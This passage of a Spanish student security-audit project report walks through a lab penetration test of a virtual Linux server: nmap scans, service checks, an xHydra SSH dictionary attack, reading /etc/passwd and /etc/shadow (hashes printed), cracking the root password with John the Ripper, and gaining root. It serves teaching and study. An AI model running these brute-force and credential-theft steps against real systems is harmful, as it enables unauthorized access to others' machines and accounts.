Vamos a probar de nuevo a hacer un barrido a ver cuantas máquinas encontramos conectadas en la red 192.168.1.0/24 (el Host descovery descrito antes). Para ello, podemos hacerlo de 2 formas, y así aprendemos las dos: bt ~ # nmap -sP 192.168.1.1-254 Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:11 CEST Host 192.168.1.4 appears to be up. Host 192.168.1.100 appears to be up. MAC Address: 00:0C:29:A2:DA:9C (VMware) Nmap done: 254 IP addresses (2 hosts up) scanned in 31.732 seconds bt ~ # nmap -sP 192.168.1.0/24 Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:14 CEST Host 192.168.1.4 appears to be up. Host 192.168.1.100 appears to be up. MAC Address: 00:0C:29:A2:DA:9C (VMware) Nmap done: 256 IP addresses (2 hosts up) scanned in 30.087 seconds En ambas, hemos puesto la opción -sP (ping scan), y en la primera, hemos puesto un rango de ips. En la segunda, hemos hecho lo mismo, solo que hemos especificado una máscara de red, en lugar de un rango. En ambas obtenemos la misma respuesta: en la red, está nuestro equipo, y el servidor web que hemos visitado antes. Apuntaremos los datos de la máquina que nos interesa: Host 192.168.1.100 appears to be up. MAC Address: 00:0C:29:A2:DA:9C (Vmware)

Exploración inicial de la máquina 192.168.1.100

Ahora vamos a realizar un escaneo más intenso sobre la máquina objetivo, probando, además, los puertos TCP comunes. Estaremos haciendo lo mismo que en la sección donde se describe el escaneo de puertos, es decir, comprobando los puertos que están a la escucha, y que aplicaciones están escuchando: bt ~ # nmap -PE -v -p1-65535 -PA21,23,80,3389 -A -T4 192.168.1.100 Este tipo de escaneo, es bastante común, y algunas herramientas gráficas (por ejemplo Zenmap) que implementan NMAP, lo traen por defecto. Vamos a explicar un poco las opciones: -PE: NMAP puede enviar paquetes de ICMP tipo 8 (echo request) a la ip objetivo, y esperar la respuesta de tipo 0 (echo request), de aquellos hosts que estén disponibles. Muchas veces este tipo de pings están filtrados por muchos administradores, por lo que muchas veces se suelen hacer otros Página 82

tipos de escaneo. Nosotros lo incluimos para ver cuales nos contestan. -v: verbose, para mostrar más detalles -p1-65535: queremos que escanee desde el puerto 1 al 65535 con el -PE. -PA21,23,80,3389: con esto, vamos a hacer un ACK scan a los puertos más comunes de tcp, el 21, 23, 80 y el 3389. Enviaremos paquetes ACK para ver que nos contestan, y así poder determinar si están abiertos o no. Enviamos un ACK para hacerle saber a la víctima que confirmamos una conexión existente (aunque realmente no existe). La máquina objetivo nos contestará con un RST (reset, ya que ésta no sabe nada de esta conexión inventada por nosotros), y sabremos que efectivamente, hay algo escuchando ahí. -A: permite que le pongamos opciones de escaneo “agresivas”. Además, nos buscará las versiones de los programas que están escuchando en los puertos. En nuestro caso además de lo anterior, nos permite utilizar la opción -T4, que pasaremos a explicar a continuación. -T4: prohíbe que el el escaneo dinámico exceda los 10ms para puertos TCP. El escaneo dinámico se suele utilizar para burlar algunos sistemas de detección de intrusos mediante el cambio de tiempo entre escaneo y escaneo, de forma que sea más dificil de evitar. Las versiones más recientes de SNORT son capaces de detectar esto. Por último, hemos introducido la dirección ip de la víctima. A continuación, mostramos la salida de nuestro escaneo: Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:24 CEST Initiating ARP Ping Scan at 13:24 Scanning 192.168.1.100 [1 port] Completed ARP Ping Scan at 13:24, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:24 Completed Parallel DNS resolution of 1 host. at 13:24, 13.00s elapsed Initiating SYN Stealth Scan at 13:24 Scanning 192.168.1.100 [65535 ports] Discovered open port 25/tcp on 192.168.1.100 Discovered open port 21/tcp on 192.168.1.100 Discovered open port 80/tcp on 192.168.1.100 Discovered open port 22/tcp on 192.168.1.100 Discovered open port 143/tcp on 192.168.1.100 SYN Stealth Scan Timing: About 6.33% done; ETC: 13:32 (0:07:23 remaining) SYN Stealth Scan Timing: About 26.57% done; ETC: 13:29 (0:03:35 remaining) Discovered open port 110/tcp on 192.168.1.100 Completed SYN Stealth Scan at 13:28, 193.07s elapsed (65535 total ports) Initiating Service scan at 13:28 Scanning 6 services on 192.168.1.100 Completed Service scan at 13:28, 6.03s elapsed (6 services on 1 Página 83

host) Initiating OS detection (try #1) against 192.168.1.100 SCRIPT ENGINE: Initiating script scanning. Initiating SCRIPT ENGINE at 13:28 Completed SCRIPT ENGINE at 13:28, 0.05s elapsed Host 192.168.1.100 appears to be up ... good. Interesting ports on 192.168.1.100: Not shown: 65527 filtered ports PORT

STATE

SERVICE

20/tcp

closed ftp-data

VERSION

21/tcp open IPv4 socket)

ftp

vsftpd (broken: could not bind listening

22/tcp

ssh

OpenSSH 4.3 (protocol 1.99)

open

|_ SSH Protocol Version 1: Server supports SSHv1 25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

|

SMTP: Responded to EHLO command

|

slax.example.net Hello [192.168.1.4], pleased to meet you

|

ENHANCEDSTATUSCODES

|

PIPELINING

|

8BITMIME

|

SIZE

|

DSN

|

ETRN

|

AUTH DIGEST-MD5 CRAM-MD5

|

DELIVERBY

|

250 HELP

|

Responded to HELP command

|

2.0.0 This is sendmail version 8.13.7

|

2.0.0 Topics:

|

2.0.0

HELO

EHLO

MAIL

RCPT

DATA

|

2.0.0

RSET

NOOP

QUIT

HELP

VRFY

|

2.0.0

EXPN

VERB

ETRN

DSN

AUTH

|

2.0.0

STARTTLS

|

2.0.0 For more info use "HELP ".

|

2.0.0 To report bugs in the implementation see

|

2.0.0

http://www.sendmail.org/email-addresses.html Página 84

| 2.0.0 For local information send email to Postmaster at your site. |_ 2.0.0 End of HELP info 80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

|_ HTML title: Site doesn't have a title. 110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https MAC Address: 00:0C:29:A2:DA:9C (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.13 - 2.6.20 Uptime: 0.025 days (since Wed Apr

8 12:51:41 2009)

Network Distance: 1 hop TCP Sequence Prediction: Difficulty=203 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: slax.example.net; OS: Unix Read data files from: /usr/local/share/nmap OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 214.204 seconds Raw packets sent: 196657 (8.655MB) | Rcvd: 56 (2672B) Como datos interesantes, podemos ver los puertos que ha encontrado abiertos, y ha tratado de averiguar que servicio, y versión de los programas que lo implementan, está usando: 21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket) 22/tcp

open

ssh

OpenSSH 4.3 (protocol 1.99)

25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https Running: Linux 2.6.X OS details: Linux 2.6.13 – 2.6.20

Página 85

Anotamos esto último para posterior consulta. Estos datos nos serán importantes, ya que serán posibles entradas al sistema. Además, nos está mostrando el sistema operativo que está instalada la máquina. Otro escaneo interesante, puede ser con las opciones -P0 (para evitar que haga ping antes de cada escaneo de puerto, ya que muchos sistemas tienen desactivado la respuesta a pings), -sS para que haga el escaneo con SYN en vez de ACK: bt ~ # nmap -P0 -sS -p 21,22,23,80,110,443,3306 192.168.1.100 Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 14:09 CEST Interesting ports on 192.168.1.100: PORT

STATE

SERVICE

21/tcp

open

ftp

22/tcp

open

ssh

23/tcp

filtered telnet

80/tcp

open

http

110/tcp

open

pop3

443/tcp

closed

https

3306/tcp filtered mysql MAC Address: 00:0C:29:A2:DA:9C (VMware) Nmap done: 1 IP address (1 host up) scanned in 15.593 seconds Hay muchas opciones interesantes mas, como -sV para que compruebe las versiones. Como vemos, Nmap nos ha servido de forma rápida y eficiente, y nos ha dado bastante información del sistema. Nos ha dado bastantes caminos que podemos seguir en el futuro para intentar explotar las vulnerabilidades del sistema, y reduciendo así, el número de pruebas que podemos realizar. Pero.. hemos de tener en cuenta, que estos datos pudieran ser no fiables: es posible que NMAP se hubiera equivocado. Y aun así, NMAP trabaja en función de las respuestas que le devuelven los distintos protocolos implementados, y como los tratan los programas que están a la escucha. Por lo tanto, lo siguiente que habría que hacer, es verificar que, efectivamente, son esos los servicios (y si podemos, los programas también) que NMAP nos está diciendo que son. Verificación de puertos abiertos con servicios escuchando

Recapitulamos lo que hemos encontrado con los distintos escaneos de puertos, y que nos puede resultar interesante: Host 192.168.1.100 appears to be up. MAC Address: 00:0C:29:A2:DA:9C (VMware) 21/tcp open IPv4 socket)

ftp

vsftpd (broken: could not bind listening

22/tcp

open

ssh

OpenSSH 4.3 (protocol 1.99)

25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

Página 86

80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https Running: Linux 2.6.X OS details: Linux 2.6.13 – 2.6.20 Como buen test de intrusión, vamos a comprobar, que efectivamente hay esos servicios a la escucha. Lo más sencillo, es ir servicio a servicio, conectándonos a ellos con las herramientas que dispongamos, y tratar de interactuar con ellos mediante comandos del protocolo en cuestión. Si nos devuelve las respuestas que esperamos a esos comandos, entonces el servicio será el que NMAP nos ha dado. Probamos pues, el primer servicio, el FTP. Escribimos en consola: bt ~ # ftp ftp> open (to) 192.168.1.100 Connected to 192.168.1.100. 500 OOPS: could not bind listening IPv4 socket Como vemos, no podemos conectarnos al servidor FTP, bien sea por una configuración incorrecta intencionada o no intencionada. Pasemos pues al siguiente sercicio, SSH: bt ~ # ssh 192.168.1.100 The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established. RSA key fingerprint is ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.100' (RSA) to the list of known hosts. [email protected]'s password: Permission denied, please try again. [email protected]'s password: Permission denied, please try again. [email protected]'s password: Aquí si que podemos ver, que efectivamente hay un servidor SSH escuchando, y que al loguearnos, nos pide una contraseña. Como obviamente no la conocemos, apretamos CONTROL-C para salir del programa. Probemos pues, el siguiente el sendmail: bt ~ # telnet 192.168.1.100 25 Trying 192.168.1.100... Connected to 192.168.1.100. Página 87

Escape character is '^]'. 220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 24 Apr 2009 12:10:07 GMT Vemos que tras intentar conectarnos, nos devuelve el banner del Sendmail. Por lo tanto, el servidor está activo. Probemos ahora el puerto 80, desde nuestro conocido netcat: bt ~ # nc 192.168.1.100 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 24 Apr 2009 12:12:53 GMT Server: Apache/2.0.55 (Unix) PHP/5.1.2 X-Powered-By: PHP/5.1.2 Connection: close Content-Type: text/html El siguiente de los servicios, es uno que NMAP reconoce como Openwall popa3d. Tras googlear un poco, descubrimos que se trata de un pequeño daemon de POP3 diseñado con la seguridad como máximo objetivo. Intentemos conectarnos: bt ~ # telnet 192.168.1.100 110 Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. +OK USER Pepe +OK PASS hola -ERR Authentication failed (bad password?) Connection closed by foreign host. El servicio está activo, y además acepta comandos típicos de POP3. El siguiente servicio, un IMAP. Intentemos la conexión: bt ~ # telnet 192.168.1.100 143 Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. •OK

[CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] [192.168.1.100] IMAP4rev1 2004.357 at Fri, 24 Apr 2009 12:30:11 +0000 (GMT) •

Página 88

También está activo. Ya hemos probado todos los servicios que nos ha proporcionado NMAP, y comprobado que efectivamente, son todos correctos, dando así por concluida, la sección de NMAP.

Recolección de información De entre todos los servicios encontrados en el sistema, el mas interesante parece que es el SSH. Esto es así por dos razones: la primera, es que dado que intentamos simular una auditoría, por lo que no deberíamos llevar a cabo acciones que pudieran poner en peligro el sistema (por ejemplo, buffer overflows, denegaciones de servicio etc), y una buena forma de respetar esto, es mediante el uso de ataques de diccionario (se explicará más adelante). La segunda razón es, que ya que vamos a realizar un ataque de diccionario, lo ideal es explotar un servicio que directamente nos devuelva una shell. Indagando por la web que nos ofrecía el CEO, : Vemos los distintos mails, que suelen coincidir con los nombres de usuario (o al menos, tenemos los nombres de los componentes de la empresa, para empezar a indagar como será su nombre de usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy interesante (ya que son administradores, y probablemente tengan acceso por ssh al sistema, que es lo que nos interesa). Por lo tanto, tenemos 3 nombres: SysAdmin: Adams Adams - [email protected] SySAdmin: Bob Banter - [email protected] SysAdmin: Chad Coffee - [email protected]

Ataques de diccionario Para comprender un ataque de diccionario, primero deberíamos entender que es un ataque de fuerza bruta. Un ataque de este tipo, es ir probando combinaciones de letras de tal forma, que acertemos con el login y password de un usuario y podamos acceder al sistema. Éste método, no es muy rápido, por lo que deberíamos de refinarlo. Aquí es donde entra en juego el ataque de diccionario. Reduciremos los intentos de contraseña mediante el uso de palabras conocidas como passwords comunes, nombres de actores, nombres bíblicos etc... de tal forma que eliminemos palabras absurdas. Para realizar un ataque de diccionario, necesitaremos 2 elementos: logins y passwords. Pasemos primero, a ver como conseguir los nombres de usuario.

Página 89 Figura 25:

Nombres de usuario

Vemos los distintos mails(Figura 25: ), que suelen coincidir con los nombres de usuario (o al menos, tenemos los nombres de los componentes de la empresa, para empezar a indagar como será su nombre de usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy interesante (ya que son administradores, y probablemente tengan acceso por ssh al sistema, que es lo que nos interesa). Por lo tanto, tenemos 3 nombres: SysAdmin: Adams Adams - [email protected] SySAdmin: Bob Banter - [email protected] SysAdmin: Chad Coffee - [email protected] Vamos a crear un diccionario de nombres de usuario, donde aparezcan distintas combinaciones con los nombres para generar los nombres de usuario (además de los emails que ya tenemos). Asi, podemos por ejemplo hacer: adamsa adamadam aadam adams banterb bbanter bobb robertb rbanter bob robert coffeec chadcoffee ccoffee Cuantos mas se nos ocurran, mas probabilidades tendremos de encontrar el nombre de usuario correcto. Por ahora, probaremos con estos. Lo guardamos en un fichero de texto, por ejemplo usuarios.txt Diccionarios

Lo siguiente, es buscar un diccionario de passwords típicos. Buscando por la web, se pueden encontrar miles, de todos los tamaños, e incluso organizados por categorías. Desde los passwords mas utilizados, nombres de actores, nombres bíblicos. Pueden ser de cualquier tipo, desde palabras reconocibles, a caracteres generados por fuerza bruta. Con mayúsculas, palabras escritas al derechas o al revés. Para este taller, se ha cogido uno con los passwords mas comunes, y lo guardamos como passwords.txt. xHydra

A continuación, vamos a presentar una herramienta gráfica, que se utiliza para el ataque online por diccionarios: xHydra. Este programa, viene por defecto en backtrack, y para iniciarlo, le damos al botón de kde y seguimos el siguiente dibujo(Figura 26: ):

Página 90

Figura 26: Las herramientas que Backtrack ofrece para seguridad, están organizadas siguiendo una jerarquía. Nosotros buscamos un programa que nos ofrezca escalada de privilegios (pretendemos obtener los privilegios de algún administrador de la empresa), que sea de ataque de diccionario (para eso hemos creado el diccionario de usuarios y contraseñas), y por último, es online: vamos a trabajar intentando conectarnos al servidor SSH. El Hydra podemos ejecutarlo en modo gráfico y en modo consola. Nosotros, vamos a ejecutarlo en modo gráfico.

Figura 27: Página 91

Una vez ejecutado el xHydra, seleccionamos las siguientes opciones: En la pestaña target(Figura 27: ): Elegimos single target, con la dirección ip de la máquina víctima, y elegimos el protocolo ssh2. En la pestaña password(Figura 28: ):

Figura 28: Aquí elegimos en username list el diccionario de usuarios que hemos creado. En password list, elegimos el diccionario de passwords comunes que hemos sacado de internet. Por último, vamos a marcar las casillas “Try login as passwords” para que de el mismo nombre que contraseña, y “Try empty password” por si no tuviera password. En la pestaña tunig(Figura 29: ):

Figura 29:

Página 92

Aquí, el number of tasks, será el número de procesos en paralelo que intentarán hacer logins a la vez. Dado que nuestro diccionario es bastante grande, deberíamos mantener pequeño este número (se han encontrado muchos problemas en este paso, por lo que finalmente se ha reducido a 2). El timeout es el tiempo que pasará entre intento e intento. Seleccionaremos “Exit after first found pair” para que en cuanto encuentre algún password, termine. Ya podemos iniciar el ataque. Tras un rato de espera, obtenemos(Figura 30: ):

Figura 30: Aquí hemos obtenido un login y password: bbanter, bbanter. Debemos recordar que hemos obtenido esto gracias a haber seleccionado el “try login as password”. Para ejecutar el comando desde consola, aparece en la parte inferior de la ventana. Ya tenemos un punto de entrada al sistema. Vamos a comprobar que efectivamente podemos entrar: bt ~ # ssh [email protected] [email protected]'s password: Linux 2.6.16. bbanter@slax:~$ whoami bbanter bbanter@slax:~$ xHydra nos ha ofrecido unos resultados deseables. Parece que no es demasiado complicado de utilizar, aunque quizás las opciones de tunning sean poco intuitivas desde el punto de vista de un novato. Por otro lado, también tuvimos problemas con que se quedaba colgado en ocasiones (supondremos que será por utilizar entornos virtualizados). Otro punto en su contra, es su propia naturaleza de “ataque de diccionario”. Siempre será poco eficiente, y si un sistema está protegido con contraseñas más complicadas, o limita el número de intentos a la hora de loguearse, xHydra tal y como lo venimos utilizando fracasará. A su favor, debemos decir que ha obtenido finalmente el Página 93

nombre de usuario y contraseña, por lo que podemos continuar avanzando.

Exploración del sistema Tras haber conseguido un nombre de usuario y contraseña, el siguiente paso lógico, sería el ver el sistema accedido por dentro. A la hora de entrar en la red, hicimos lo mismo: echar un vistazo. Aquí lo haremos a nivel de máquina individual. Una vez dentro del sistema, el objetivo que más llama la atención, es ver el archivo de passwd. En él podremos encontrar una lista de usuarios, y ver el tipo de indentificación que utiliza. Por lo tanto, tras habernos conectado al sistema por ssh (login bbanter, pass bbanter), tecleamos en la terminal: bbanter@slax:~$ cat /etc/passwd Y la terminal muestra el archivo passwd: root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: aadams:x:1000:10:,,,:/home/aadams:/bin/bash bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash

Página 94

El archivo, está de la forma: username:passwd:uid:gid:nombrereal:homedir:shell Viendo el archivo, podemos comprobar, que donde viene passwd, viene una x, por lo que la contraseña está contenida en /etc/shadow. También podemos ver el nombre de otros usuarios, junto con sus uids, y gids. También podría ser interesante, el visualizar /etc/groups, o /etc/shadow si lo necesitaremos, pero por ahora, nos hemos hecho con otros usuarios del sistema, y podríamos, por ejemplo, realizar otro ataque de diccionario, usando el programa xHydra, con esta nueva lista de usuarios. Tras probar múltiples diccionarios (y algunos, al ser demasiado extensos, cuelgan las imagenes VMWARE), encontramos la contraseña de aadams: login: aadams pass: nostradamus

Escalada de privilegios Una vez tenemos varios nombres de usuarios y contraseñas, algo interesante para probar, es si la contraseña de root usa la misma contraseña o nombre de usuario que los usuarios que tenemos. Debemos recordar, que según la web de la empresa, son administradores, por lo que es posible, que usaran sus contraseñas para ser root(algo muy desaconsejable, pero que se da en muchas empresas con políticas de contraseñas muy pobres). aadams@slax:~$ su Password: nostradamus Sorry. aadams@slax:~$ su Password: aadams Sorry. aadams@slax:~$ su Password: bbanter Sorry. aadams@slax:~$ su Password: ccoffee Sorry. Nota: se ha puesto los passwords en visible para poder mostrar lo que se ha intentado. Como vemos, las contraseñas de los administradores no coinciden con la del root, por lo que tendremos que idear otra forma de hacernos con la contraseña.

Descifrando Shadow No todos los usuarios tienen permisos para poder acceder en modo lectura a este archivo, por lo que vamos a probar si alguno de los usuarios que tenemos (recordemos que ambos son administradores, por lo que tiene sentido) tiene permisos. Probaremos con aadams: aadams@slax:~$ sudo cat /etc/shadow

Página 95

Hemos ejecutado la instrucción sudo para poder acceder al archivo con los máximos privilegios posibles. En este caso, la contraseña coincidía con nostradamus. Password: nostradamus root:$1$r72/qKLG$TqTzMBf/6ErN9Z9.J9GiF/:14230:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: sshd:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7::: bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7::: ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7::: Hemos tenido suerte: aadams tenía permisos parap poder leerlo. Es hora de descargarnos el contenido a local, para poder usar herramientas de descifrado. Creamos en nuestra Backtrack un archivo de texto donde pegamos ese texto. Lo llamaremos shadowSISTEMA.txt. A continuación vamos a presentar una herramienta de ataque de diccionario también (esta vez algo más potente), pero que trabaja en offline: Se trata de John the ripper (Jack el destripador). Es un programa de criptografía que permite descifrar contraseñas de varios sistemas operativos. Se suele utilizar por administradores de sistemas para comprobar la robustez de los passwords de sus usuarios. Es una herramienta open source, y tiene versiones para muchas plataformas. Es capaz de autodetectar el método de cifrado utilizado para cifrar las contraseñas. Página 96

Su forma de funcionar, es mediante fuerza bruta (en su versión mas básica), la cual se puede modificar para que pruebe, por ejemplo, solamente contraseñas con caracteres (sin símbolos ni números), para que utilice diccionarios etc... Una vez elegido el método con el que va a hacer pruebas, john the ripper prueba cada contraseña cifrandola con el mismo método con el que sea ha cifrado la contraseña, y comprobando a ver si coincide, en cuyo caso, devuelve la contraseña. Para nuestro caso, lo que se hizo fue utilizar varios diccionarios desde Backtrack, sin ningún resultado rápido, por lo que se optó por pasar el shadow obtenido anteriormente a la máquina local (Ubuntu), y cerrando las máquinas virtuales para tener mayor potencia de cálculo. A continuación presentamos el comando utilizado y los resultados: alberaan@Smaug:~$ john --user=root -wordfile:diccionario.txt shadowSISTEMA.txt Loaded 1 password (FreeBSD MD5 [32/64]) anthropogenic

(root)

guesses: 1 time: 0:00:02:31 100% anthropogenic

c/s: 5273

trying:

Con el parámetro –user, indicamos que solamente queremos que descifre el usuario root. Con -wordfile:diccionario.txt le indicamos que diccionario utilizar. Finalmente, introducimos el archivo donde está copiado /etc/shadow del sistema a atacar (una copia que tenemos en local). El resultado fue, que encontró que la contraseña de root es anthropogenic. Lo comprobamos desde el sistema víctima: aadams@slax:~$ su Password: anthropogenic root@slax:/home/aadams# Y efectivamente, es la contraseña, y estamos dentro del sistema como root.

Valoraciones finales Valoración primer taller Hemos aprendido bastante sobre redes en entornos virtuales, y descubierto como utilizar muchos servicios básicos sobre Backtrack. El uso de la herramienta de netcat, una herramienta que fue muy popular en su día, ha sido algo bastante interesante de aprender a utilizar, por las múltiples opciones que ofrece. Quizás se echara en falta el poder ver más herramientas de forma más generalista, pero el poder ahondar en una herramienta, de forma tan técnica, es algo que nunca había hecho.

Valoración del segundo taller En el segundo taller, hemos aprendido más sobre entornos virtuales y redes. En el comienzo del taller, el como encontrar la red, el aprender a usar todos los programas de auditorías de seguridad informática. Hemos aprendido también el modo de trabajo de alguien que intenta obtener información de un sistema, fallos típicos de muchos entornos empresariales. También hemos tenido muchos problemas, como el tardar a la hora de encontrar un password a la hora de realizar un ataque de diccionario. Hemos encontrado que en la web, hay mucha gente que ha implementado diccionarios de passwords, catalogados en muchas categorías. Página 97

A pesar de haber realizado ataques “sencillos”, se ha aprendido mucho, ya que ha sido un primer contacto hacia aspectos técnicos de una auditoría de seguridad informática.

Página 98

Parte 3: Conclusiones y cierre del Proyecto

Página 99

Conclusiones y cierre Tras haber finalizado el proyecto, hay muchas ideas y conceptos sobre los que me gustaría ahondar. La seguridad, parece un campo infinito, donde cada problema que se encuentra, tiene un efecto de bola de nieve: intentando realizar algo, se encuentra un problema mayor, y otro, y otro y así sucesivamente. Nunca se puede saber y realizar todo lo que uno quiere, y la seguridad informática es un claro ejemplo, donde además, siempre interviene otra parte (ya sea atacante o defensora). Siempre habrá alguien más listo y que sabrá más, y cada día, encontraremos nuevas herramientas que vulneran nuevos fallos. Aparecerán nuevas técnicas, que con el avance de la tecnología, harán a los sistemas más vulnerables. Aún así, es nuestra tarea como profesionales, el intentar minimizar los riesgos, y tratar de hacer las cosas lo mejor posible. Y personalmente, creo, que uno de los puntos que hay que ahondar más, es el concienciar a las personas para que, en caso de emergencia puedan actuar como deben. Como vemos a lo largo del proyecto, se han abordado muchísimos campos, algunos más profundamente que otros. Posiblemente, el proyecto, hubiera tomado un matiz más técnico si se hubiera abordado uno o dos campos, pero como ingenieros, debemos de conocer (al menos con un mínimo grado de detalle) todos los campos expuestos. Por último, me gustaría añadir, el hecho de que, tras haber sido víctima de un hacker en mis propios ordenadores personales, poder comentar el hecho de que, no todo se puede solucionar aplicando soluciones técnicas sino que, todos esos consejos que cada experto en seguridad aconseja, todas las medidas de contención que aparecen en la web y manuales, efectivamente, son útiles, y han conseguido que, pueda salir airoso del problema. Quizás antes no es que tomara muy en serio estos consejos, pero si que apreciaba más la utilidad de la parte técnica. Ahora, visto lo visto, y tras haber recorrido todo el camino de la elaboración del proyecto, me doy cuenta de que muchas veces, no son solamente los medios informáticos son utilizados para el robo de información, y dar solución a los problemas de seguridad de los mismos, sino que, gracias a lo aprendido, y la rápida y correcta actuación de los usuarios, podemos solventar la mayoría de los problemas.

Página 100

Bibliografía [1] Laboratorios Dragonjar http://labs.dragonjar.org/ [2] Web oficial NMAP http://nmap.org/ [3] Web oficial Netcat http://netcat.sourceforge.net/ [4] Blog Seguridad Security By Default http://www.securitybydefault.com/ [5] Blog Seguridad Pentester http://www.pentester.es/ [5] Diccionarios http://www.outpost9.com/files/WordLists.html [6] Web oficial John The Ripper http://www.openwall.com/john/ [7] Web oficial Hydra http://www.xhydra.com/ [8] Web oficial Bactrak http://www.remote-exploit.org/backtrack.html [9] OSSTMM 2.2 de ISECOM [10] Syngress Penetration Testers Open Source Toolkit Volume 2 [11] Wikipedia http://wikipedia.org/ [12] Como funciona un exploit http://www.mipistus.blogspot.com/2008/04/ejemplo-de-cmofunciona-un-exploit.html [13]Fallo dns http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html [14]Firewalking http://www.scribd.com/doc/3254504/Firewalking [15]PBX http://www.callcentermagazine.com/article/CTM20020404S0012 [16] Voicemail http://www.net-security.org/article.php?id=43 [17] Voivemail http://www.hispahack.com/oldweb/mi002.htm [18] Voicemail http://www.securitybydefault.com/search?q=buz%C3%B3n+de+voz [19] Fax http://www.governmentsecurity.org/hacking_multifunction_printers [20] Bluetooth tools de SIl Janssens [21] Cámaras vigilancia http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/ [22] Syngress Metasploit Toolkit [23] Syngress Nessus Network Auditing second edition

Página 101